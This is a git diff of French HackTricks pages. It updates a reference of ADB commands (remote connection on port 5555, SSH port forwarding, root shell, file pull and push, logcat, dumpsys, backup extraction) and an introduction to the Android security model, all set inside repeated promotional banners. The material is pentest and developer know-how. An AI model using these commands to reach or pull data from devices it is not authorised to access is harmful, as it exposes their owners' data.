||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
|
@ -60,16 +61,17 @@ Autres façons de soutenir HackTricks :
|
|||
{% embed url="https://ippsec.rocks/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Adb est généralement situé dans :**
|
||||
**Adb se trouve généralement dans :**
|
||||
```bash
|
||||
#Windows
|
||||
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||
|
@ -21,31 +22,31 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
|||
#MacOS
|
||||
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
||||
```
|
||||
**Informations obtenues depuis :** [**http://adbshell.com/**](http://adbshell.com)
|
||||
**Informations obtenues à partir de :** [**http://adbshell.com/**](http://adbshell.com)
|
||||
|
||||
# Connexion
|
||||
```
|
||||
adb devices
|
||||
```
|
||||
Cela affichera les appareils connectés; si "_**unathorised**_" apparaît, cela signifie que vous devez **débloquer** votre **mobile** et **accepter** la connexion.
|
||||
Cela listera les appareils connectés ; si "_**non autorisé**_" apparaît, cela signifie que vous devez **débloquer** votre **mobile** et **accepter** la connexion.
|
||||
|
||||
Cela indique à l'appareil de démarrer un serveur adb sur le port 5555:
|
||||
Cela indique à l'appareil qu'il doit démarrer un serveur adb sur le port 5555 :
|
||||
```
|
||||
adb tcpip 5555
|
||||
```
|
||||
Connectez-vous à cette adresse IP et ce port :
|
||||
Connectez-vous à cette IP et ce Port :
|
||||
```
|
||||
adb connect <IP>:<PORT>
|
||||
```
|
||||
Si vous obtenez une erreur comme celle-ci dans un logiciel Android virtuel (comme Genymotion):
|
||||
Si vous obtenez une erreur comme celle-ci dans un logiciel Android virtuel (comme Genymotion) :
|
||||
```
|
||||
adb server version (41) doesn't match this client (36); killing...
|
||||
```
|
||||
C'est parce que vous essayez de vous connecter à un serveur ADB avec une version différente. Essayez simplement de trouver le binaire adb utilisé par le logiciel (allez dans `C:\Program Files\Genymobile\Genymotion` et recherchez adb.exe)
|
||||
C'est parce que vous essayez de vous connecter à un serveur ADB avec une version différente. Essayez simplement de trouver le binaire adb que le logiciel utilise (allez dans `C:\Program Files\Genymobile\Genymotion` et recherchez adb.exe)
|
||||
|
||||
## Plusieurs appareils
|
||||
|
||||
Chaque fois que vous trouvez **plusieurs appareils connectés à votre machine**, vous devrez **spécifier lequel** vous souhaitez utiliser pour exécuter la commande adb.
|
||||
Chaque fois que vous trouvez **plusieurs appareils connectés à votre machine**, vous devrez **spécifier dans lequel** vous souhaitez exécuter la commande adb.
|
||||
```bash
|
||||
adb devices
|
||||
List of devices attached
|
||||
|
@ -58,9 +59,9 @@ adb -s 127.0.0.1:5555 shell
|
|||
x86_64:/ # whoami
|
||||
root
|
||||
```
|
||||
## Tunneling de port
|
||||
## Port Tunneling
|
||||
|
||||
Dans le cas où le **port adb** n'est accessible que depuis **localhost** sur l'appareil Android mais que **vous avez accès via SSH**, vous pouvez **rediriger le port 5555** et vous connecter via adb :
|
||||
Dans le cas où le **port** **adb** n'est accessible que depuis **localhost** sur l'appareil Android mais que vous avez accès via SSH, vous pouvez **transférer le port 5555** et vous connecter via adb :
|
||||
```bash
|
||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||
adb connect 127.0.0.1:5555
|
||||
|
@ -69,7 +70,7 @@ adb connect 127.0.0.1:5555
|
|||
|
||||
## Installer/Désinstaller
|
||||
|
||||
### adb install \[option] \<chemin>
|
||||
### adb install \[option] \<path>
|
||||
```bash
|
||||
adb install test.apk
|
||||
|
||||
|
@ -85,17 +86,17 @@ adb install -d test.apk # allow version code downgrade
|
|||
|
||||
adb install -p test.apk # partial application install
|
||||
```
|
||||
### adb uninstall \[options] \<PACKAGE>
|
||||
### adb désinstaller \[options] \<PACKAGE>
|
||||
```bash
|
||||
adb uninstall com.test.app
|
||||
|
||||
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
|
||||
```
|
||||
## Paquets
|
||||
## Packages
|
||||
|
||||
Affiche tous les paquets, éventuellement uniquement ceux dont le nom du paquet contient le texte dans \<FILTRE>.
|
||||
Imprime tous les packages, optionnellement seulement ceux dont le nom de package contient le texte dans \<FILTER>.
|
||||
|
||||
### adb shell pm list packages \[options] \<FILTRE-STR>
|
||||
### adb shell pm list packages \[options] \<FILTER-STR>
|
||||
```bash
|
||||
adb shell pm list packages <FILTER-STR>
|
||||
|
||||
|
@ -117,7 +118,7 @@ adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to quer
|
|||
```
|
||||
### adb shell pm path \<PACKAGE>
|
||||
|
||||
Affiche le chemin d'accès à l'APK du .
|
||||
Imprime le chemin vers l'APK du donné.
|
||||
```bash
|
||||
adb shell pm path com.android.phone
|
||||
```
|
||||
|
@ -127,31 +128,31 @@ Supprime toutes les données associées à un package.
|
|||
```bash
|
||||
adb shell pm clear com.test.abc
|
||||
```
|
||||
# Gestionnaire de fichiers
|
||||
# File Manager
|
||||
|
||||
### adb pull \<remote> \[local]
|
||||
|
||||
Télécharge un fichier spécifié depuis un émulateur/appareil vers votre ordinateur.
|
||||
Téléchargez un fichier spécifié depuis un émulateur/appareil vers votre ordinateur.
|
||||
```bash
|
||||
adb pull /sdcard/demo.mp4 ./
|
||||
```
|
||||
### adb push \<local> \<remote>
|
||||
|
||||
Télécharge un fichier spécifié de votre ordinateur vers un émulateur/appareil.
|
||||
Téléchargez un fichier spécifié depuis votre ordinateur vers un émulateur/appareil.
|
||||
```bash
|
||||
adb push test.apk /sdcard
|
||||
```
|
||||
# Capture d'écran/Enregistrement d'écran
|
||||
# Screencapture/Screenrecord
|
||||
|
||||
### adb shell screencap \<nom du fichier>
|
||||
### adb shell screencap \<filename>
|
||||
|
||||
Prendre une capture d'écran de l'affichage d'un appareil.
|
||||
```bash
|
||||
adb shell screencap /sdcard/screen.png
|
||||
```
|
||||
### adb shell screenrecord \[options] \<nom du fichier>
|
||||
### adb shell screenrecord \[options] \<filename>
|
||||
|
||||
Enregistrement de l'affichage des appareils exécutant Android 4.4 (niveau API 19) et supérieur.
|
||||
Enregistrement de l'affichage des appareils fonctionnant sous Android 4.4 (niveau API 19) et supérieur.
|
||||
```bash
|
||||
adb shell screenrecord /sdcard/demo.mp4
|
||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||
|
@ -160,7 +161,7 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
|
|||
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||
adb shell screenrecord --verbose
|
||||
```
|
||||
(pressez Ctrl-C pour arrêter l'enregistrement)
|
||||
(pressionnez Ctrl-C pour arrêter l'enregistrement)
|
||||
|
||||
**Vous pouvez télécharger les fichiers (images et vidéos) en utilisant **_**adb pull**_
|
||||
|
||||
|
@ -168,19 +169,19 @@ adb shell screenrecord --verbose
|
|||
|
||||
### adb shell
|
||||
|
||||
Obtenez un shell à l'intérieur du périphérique
|
||||
Obtenez un shell à l'intérieur de l'appareil
|
||||
```bash
|
||||
adb shell
|
||||
```
|
||||
### adb shell \<CMD>
|
||||
|
||||
Exécute une commande à l'intérieur du périphérique
|
||||
Exécutez une commande à l'intérieur de l'appareil
|
||||
```bash
|
||||
adb shell ls
|
||||
```
|
||||
## pm
|
||||
|
||||
Les commandes suivantes sont exécutées à l'intérieur d'une coquille
|
||||
Les commandes suivantes sont exécutées à l'intérieur d'un shell
|
||||
```bash
|
||||
pm list packages #List installed packages
|
||||
pm path <package name> #Get the path to the apk file of tha package
|
||||
|
@ -197,7 +198,7 @@ adb shell ps
|
|||
```
|
||||
Et recherchez votre application
|
||||
|
||||
Ou vous pouvez
|
||||
Ou vous pouvez faire
|
||||
```bash
|
||||
adb shell pidof com.your.application
|
||||
```
|
||||
|
@ -211,11 +212,11 @@ Redémarre le démon adbd avec des permissions root. Ensuite, vous devez vous re
|
|||
```bash
|
||||
adb sideload <update.zip>
|
||||
```
|
||||
# Flasher / restaurer des packages de mise à jour Android update.zip.
|
||||
flashing/restoring Android update.zip packages.
|
||||
|
||||
## Journaux
|
||||
# Logs
|
||||
|
||||
### Logcat
|
||||
## Logcat
|
||||
|
||||
Pour **filtrer les messages d'une seule application**, obtenez le PID de l'application et utilisez grep (linux/macos) ou findstr (windows) pour filtrer la sortie de logcat :
|
||||
```bash
|
||||
|
@ -226,7 +227,7 @@ adb logcat | findstr 4526
|
|||
```bash
|
||||
adb logcat
|
||||
```
|
||||
Notes: appuyez sur Ctrl-C pour arrêter la surveillance
|
||||
Notes : appuyez sur Ctrl-C pour arrêter la surveillance
|
||||
```bash
|
||||
adb logcat *:V # lowest priority, filter to only show Verbose level
|
||||
|
||||
|
@ -242,7 +243,7 @@ adb logcat *:F # filter to only show Fatal level
|
|||
|
||||
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
||||
```
|
||||
### adb logcat -b \<Tampon>
|
||||
### adb logcat -b \<Buffer>
|
||||
```bash
|
||||
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
||||
|
||||
|
@ -262,7 +263,7 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
|||
```
|
||||
## dumpsys
|
||||
|
||||
affiche les données du système
|
||||
dumps les données système
|
||||
|
||||
### adb shell dumpsys \[options]
|
||||
```bash
|
||||
|
@ -272,11 +273,11 @@ adb shell dumpsys meminfo
|
|||
|
||||
adb shell dumpsys battery
|
||||
```
|
||||
Notes: Un appareil mobile avec les Options pour les développeurs activées fonctionnant sous Android 5.0 ou une version supérieure.
|
||||
Notes : Un appareil mobile avec les Options de développement activées fonctionnant sous Android 5.0 ou supérieur.
|
||||
```bash
|
||||
adb shell dumpsys batterystats collects battery data from your device
|
||||
```
|
||||
Notes: [Battery Historian](https://github.com/google/battery-historian) convertit ces données en une visualisation HTML. **ÉTAPE 1** _adb shell dumpsys batterystats > batterystats.txt_ **ÉTAPE 2** _python historian.py batterystats.txt > batterystats.html_
|
||||
Notes : [Battery Historian](https://github.com/google/battery-historian) convertit ces données en une visualisation HTML. **ÉTAPE 1** _adb shell dumpsys batterystats > batterystats.txt_ **ÉTAPE 2** _python historian.py batterystats.txt > batterystats.html_
|
||||
```bash
|
||||
adb shell dumpsys batterystats --reset erases old collection data
|
||||
```
|
||||
|
@ -284,7 +285,7 @@ adb shell dumpsys activity
|
|||
|
||||
# Sauvegarde
|
||||
|
||||
Sauvegardez un appareil Android depuis adb.
|
||||
Sauvegarder un appareil Android depuis adb.
|
||||
```bash
|
||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||
# -apk -- Include APK from Third partie's applications
|
||||
|
@ -300,16 +301,17 @@ Si vous souhaitez inspecter le contenu de la sauvegarde :
|
|||
```bash
|
||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Bases des Applications Android
|
||||
# Bases des applications Android
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Groupe de Sécurité Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,139 +23,140 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
***
|
||||
|
||||
## Modèle de Sécurité Android
|
||||
## Modèle de sécurité Android
|
||||
|
||||
**Il y a deux couches :**
|
||||
|
||||
* Le **système d'exploitation (OS)**, qui garde les applications installées isolées les unes des autres.
|
||||
* L'**application elle-même**, qui permet aux développeurs de **exposer certaines fonctionnalités** et de configurer les capacités de l'application.
|
||||
* Le **système d'exploitation**, qui maintient les applications installées isolées les unes des autres.
|
||||
* L'**application elle-même**, qui permet aux développeurs de **dévoiler certaines fonctionnalités** et configure les capacités de l'application.
|
||||
|
||||
### Séparation des UID
|
||||
### Séparation UID
|
||||
|
||||
**Chaque application se voit attribuer un ID utilisateur spécifique**. Cela se fait lors de l'installation de l'application afin que **l'application puisse interagir uniquement avec les fichiers appartenant à son ID utilisateur ou des fichiers partagés**. Ainsi, seule l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données des applications.
|
||||
**Chaque application se voit attribuer un identifiant utilisateur spécifique**. Cela se fait lors de l'installation de l'application afin que **l'application ne puisse interagir qu'avec les fichiers appartenant à son identifiant utilisateur ou les fichiers partagés**. Par conséquent, seule l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données de l'application.
|
||||
|
||||
### Partage des UID
|
||||
### Partage UID
|
||||
|
||||
**Deux applications peuvent être configurées pour utiliser le même UID**. Cela peut être utile pour partager des informations, mais si l'une d'elles est compromise, les données des deux applications seront compromises. C'est pourquoi ce comportement est **déconseillé**.\
|
||||
**Pour partager le même UID, les applications doivent définir la même valeur `android:sharedUserId`** dans leurs manifestes.
|
||||
**Pour partager le même UID, les applications doivent définir la même valeur `android:sharedUserId` dans leurs manifestes.**
|
||||
|
||||
### Isolation
|
||||
### Sandboxing
|
||||
|
||||
Le **bac à sable des applications Android** permet d'exécuter **chaque application** en tant que **processus séparé sous un ID utilisateur distinct**. Chaque processus a sa propre machine virtuelle, de sorte que le code d'une application s'exécute de manière isolée par rapport aux autres applications.\
|
||||
À partir d'Android 5.0(L), **SELinux** est appliqué. Fondamentalement, SELinux a refusé toutes les interactions de processus, puis a créé des politiques pour **autoriser uniquement les interactions attendues entre eux**.
|
||||
Le **sandboxing des applications Android** permet d'exécuter **chaque application** comme un **processus séparé sous un identifiant utilisateur distinct**. Chaque processus a sa propre machine virtuelle, donc le code d'une application s'exécute en isolation des autres applications.\
|
||||
Depuis Android 5.0(L), **SELinux** est appliqué. En gros, SELinux a refusé toutes les interactions entre processus et a ensuite créé des politiques pour **permettre uniquement les interactions attendues entre eux**.
|
||||
|
||||
### Autorisations
|
||||
### Permissions
|
||||
|
||||
Lorsque vous installez une **application et qu'elle demande des autorisations**, l'application demande les autorisations configurées dans les éléments **`uses-permission`** dans le fichier **AndroidManifest.xml**. L'élément **uses-permission** indique le nom de l'autorisation demandée dans l'attribut **name**. Il a également l'attribut **maxSdkVersion** qui arrête de demander des autorisations sur des versions supérieures à celle spécifiée.\
|
||||
Notez que les applications Android n'ont pas besoin de demander toutes les autorisations au début, elles peuvent également **demander des autorisations dynamiquement** mais toutes les autorisations doivent être **déclarées** dans le **manifeste**.
|
||||
Lorsque vous installez une **application et qu'elle demande des permissions**, l'application demande les permissions configurées dans les éléments **`uses-permission`** du fichier **AndroidManifest.xml**. L'élément **uses-permission** indique le nom de la permission demandée dans l'**attribut name**. Il a également l'attribut **maxSdkVersion** qui arrête de demander des permissions sur les versions supérieures à celle spécifiée.\
|
||||
Notez que les applications Android n'ont pas besoin de demander toutes les permissions au début, elles peuvent également **demander des permissions dynamiquement**, mais toutes les permissions doivent être **déclarées** dans le **manifest**.
|
||||
|
||||
Lorsqu'une application expose des fonctionnalités, elle peut limiter **l'accès uniquement aux applications ayant une autorisation spécifiée**.\
|
||||
Un élément d'autorisation a trois attributs :
|
||||
Lorsqu'une application expose une fonctionnalité, elle peut limiter **l'accès uniquement aux applications ayant une permission spécifiée**.\
|
||||
Un élément de permission a trois attributs :
|
||||
|
||||
* Le **nom** de l'autorisation
|
||||
* L'attribut **permission-group**, qui permet de regrouper les autorisations connexes.
|
